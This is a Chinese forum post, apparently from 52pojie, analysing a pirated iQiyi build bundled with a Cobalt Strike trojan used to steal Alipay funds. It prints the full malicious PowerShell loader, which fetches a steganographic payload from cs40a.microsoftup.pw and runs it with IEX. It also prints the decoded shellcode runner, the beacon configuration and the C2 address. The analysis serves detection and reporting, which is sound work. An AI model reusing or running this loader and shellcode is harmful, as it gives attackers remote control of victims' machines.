BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】

2020年9月28日 295点热度 0人点赞 0条评论

BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】

图片

今天早晨收到@cxj998 的举报反馈被盗刷

爱奇艺 v7.8.118.2140 去广告优化版-带病毒
https://www.52pojie.cn/thread-1276263-1-1.html


我们着手分析一下看看软件确实发现了问题,软件利用白加黑启动PowerShell脚本加载Cobalt Strike远程控制木马,用来控制受害者机器进行盗刷支付宝金额。


一:木马行为分析
文件下载后发现使用了MSI打包,使用lessmsi解包(也可以正常安装获得文件)

图片


解压后通过文件修改时间顺序排序,轻松发现最后修改的文件很可疑

图片


通过经验(也可以调试下得到)可以看出来App.dll(MD5: 17BD779769DBEC0B58966D066F656A72)加了VMP 2.x的壳是最可疑的了,Appdll.dll其实是正常的app.dll文件,显而易见爱奇艺主程序会主动加载App.dll文件,木马通过替换正常的DLL来做白加黑,所以看下App.dll的代码就好了,vmp 2.x的老版本壳,直接用@ximo 大神的zeus vmp脱壳神器轻松脱掉(当然直接F9跑起来看也行),直接看下字符串只有一行代码:cmd.exe /c powershell -exec bypass -f .\dataup.ps1 ,就是启动根目录下dataup.ps1(F409AE142DE9167CE4CD2B691F8A2A50),它是一个的PowerShell脚本。

图片


重点到了dataup.ps1这,我们看下PowerShell脚本内容是:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://cs40a.microsoftup.pw/down/test22a.png"));$o=a Byte[] 5220;(0..2)|%{foreach($x in(0..1739)){$p=$g.GetPixel($x,$_);$o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3546]))

这个脚本使用隐写的方式,把代码写到png图片里,根据脚本解密后的内容:

Set-StrictMode -Version 2  $DoIt = @'function func_get_proc_address {        Param ($var_module, $var_procedure)                        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}  function func_get_delegate_type {        Param (                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,                [Parameter(Position = 1)] [Type] $var_return_type = [Void]        )          $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')          return $var_type_builder.CreateType()}  [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXEcv96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTsM+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqfNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVsMQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww==')  for ($x = 0; $x -lt $var_code.Count; $x++) {        $var_code[$x] = $var_code[$x] -bxor 35}  $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)  $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))$var_runme.Invoke([IntPtr]::Zero)'@  If ([IntPtr]::size -eq 8) {        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job}else {        IEX $DoIt}


根据经验(调试多了就知道了),很像Cobalt Strike的PowerShell服务端脚本,从上面的Base64转换然后和35(十进制)进行异或就得到了ShellCode,4KB大小,不出意外就是Cobalt Strike了,那我们继续调试下这个ShellCode。

调试小技巧:比较简单的办法可以把ShellCode的二进制代码直接复制出来,随便找个无壳程序用OD加载,然后把二进制代码从入口点粘贴覆盖进行,就可以正常调试了(覆盖后保存文件重新OD加载一下,这样可以直接Ctrl+A分析下代码)
图片

通过经验,看到ShellCode的API调用方式,再次印证就是Cobalt Strike了,调试过程略过(可以自己学习单步跟踪尝试一下),流程就是ShellCode去cs40a.microsoftup.pw请求获取Beacon核心DLL进行内存解密加载
图片

网络获取的Beacon核心代码先进行自解密出PE,然后进行内存执行
图片

小技巧:解密出PE以后可以直接把这个数据段dump下来,然后用ExeinfoPE来提取DLL
图片

图片

解密后的DLL通过LordPE查看导出模块名称确实是beacon.dll,再再一次印证就是Cobalt Strike了
图片

有了Cobalt Strike的beacon.dll,那我们就看看它的木马配置信息吧,简单的办法直接用6总的神器,在线解密Cobalt Strike配置信息,只需要把bin文件上传即可获得,解密网址:http://pokemon.work:8501
图片

File 4a8abb8f54fd4283af2fde919f923625bc3d6b998b215467ddc125d1b5d2823d receved !

BeaconType - HTTP
Port - 4455
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - 255
PublicKey - b'0\x81\x9f0\r\x06\t\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa7\t\x91\xd6\x9d\x81j`\x1f\xfa\x80\x97ds\x83\x0f\r;A\'m\'\x90@\x1d\xde\xdb\x18\xe2\xd3\xca\xb3\xc3\x15\xe3"#%\xbeB\xb6Z\xdb(x\xf3?Z\x03\xffP\x10\xb2>\x84Q\x0c\x14\x82\xadjB\xf1\xe7\xe5rn\xb3\x18\x13\xe7Cv@\xedxy\x95_@\x1e\x17,4\xd3QrAYm\xd4\x1f\x8eH\xd3\xd1\xb1\xc2\x88\xe6\xc8u/\xf6]\xc2z\xcc\xcb\xa4\xba\x9c\xd6\xd0\xe4\xdea\x96\xce\xa4\xdaH\r;\x99\xd0\xed\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
C2Server - cs40a.microsoftup.pw,/activity
UserAgent - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
HttpPostUri - /submit.php
HttpGet_Metadata - Cookie
HttpPost_Metadata - Content-Type: application/octet-stream
id
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName -
DNS_Idle - 0.0.0.0
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
Done!


C2的服务器地址:

cs40a.microsoftup.pw  (139.162.113.21)


当然了,有兴趣的同学可以手动调试DLL来获取配置信息和相关功能,我已经调试过很多次就不再赘述,关于Cobalt Strike木马相关的文章也有不少,大家可以搜索学习,本文也是借此机会对Cobalt Strike其中一种ShellCode加载方式进行了分析讲解,希望可以帮助到大家。

木马下载地址以及相关文件MD5(解压密码:52pojie):

App.dll MD5: 17BD779769DBEC0B58966D066F656A72
dataup.ps1 MD5: F409AE142DE9167CE4CD2B691F8A2A50
shellcode MD5: DDFE4FA2341F59292BFBA48E30988831
Beacon.dll MD5: 50B9A5F1257F5F392D5415FED80904D7


样本下载见左下角原文

二:溯源分析
通过C2域名非常眼熟,简单搜索了下发现之前360安全卫士在6月份就发过相关的分析:https://www.360.cn/n/11718.html ,原来是持续性作案,一直通过替换热门软件的DLL,进行白加黑启动木马来作案,最后通过各种方式进行大数据检索定位到这位作案的朋友,过程略。。。

相关分析溯源已提交给支付宝安全中心、360安全中心,受害人也已报警,相关信息已提交公安,希望好生招待这位朋友。

三:后话
虽然论坛有很多高手,但我们希望提高所有人的安全意识和识别能力,看上述我的分析,你是不是也想来试试?

学会了之后,有能力分析出问题也可以帮助我们,尽快举报,大家合力保卫论坛安全。

想对那些心怀不轨的人说,你在吾爱破解这样的技术论坛玩这种小伎俩,分分钟就给你剥皮把肉看得清清楚楚了,这里都是活跃在互联网安全界的精英,任何小动作都是自讨苦吃,奉劝那些蠢蠢欲动的人,尽快走入正途,不要误入歧途!

最后感谢大家一直以来对吾爱破解论坛的支持和维护,论坛安全离不开大家监督,任何违法违规的行为都逃不过大家的眼睛和管理的审查,对待此类*渣论坛绝不手软,坚决处罚到底!


--

www.52pojie.cn


--

pojie_52

33450BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】

这个人很懒,什么都没留下

文章评论